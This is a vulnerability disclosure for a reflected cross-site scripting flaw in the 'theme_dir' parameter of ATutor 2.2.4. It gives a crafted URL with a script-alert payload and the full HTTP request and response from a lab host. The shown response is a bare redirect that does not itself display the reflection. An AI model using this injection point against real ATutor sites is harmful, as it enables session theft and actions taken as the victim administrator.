# Exploit Title: Reflected XSS - atutorv2.2.4
# Date: 01/2025
# Exploit Author: Andrey Stoykov
# Version: 2.2.4
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2025/01/friday-fun-pentest-series-17-reflected.html

Description:

- It was found that the application was vulnerable to Reflected XSS.


Reflected XSS #1 - "theme_dir":

Steps to Reproduce:

1. Login to the application with admin user
2. Paste the following URL into the browser

http://192.168.1.110/atutor/mods/_core/themes/index.php?type=Mobile&enable=Enable&theme_dir=
<script>alert(1)</script>&mobile_version=2.2.2


// HTTP GET Request

GET
/atutor/mods/_core/themes/index.php?type=Mobile&enable=Enable&theme_dir=<script>alert(1)</script>&mobile_version=2.2.2
HTTP/1.1
Host: 192.168.1.110
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: ATutorID=f6oaq82rkkjc2efnmi1qkig537; flash=no
Upgrade-Insecure-Requests: 1
Priority: u=0, i


// HTTP Response

HTTP/1.1 302 Found
Date: Sat, 18 Jan 2025 20:39:58 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Set-Cookie: ATutorID=o0p8bdoggbsj1h0lf1des5gcm1; path=/atutor/; HttpOnly
Set-Cookie: ATutorID=o0p8bdoggbsj1h0lf1des5gcm1; path=/atutor/; HttpOnly
Set-Cookie: flash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Location: /atutor/mods/_core/themes/index.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8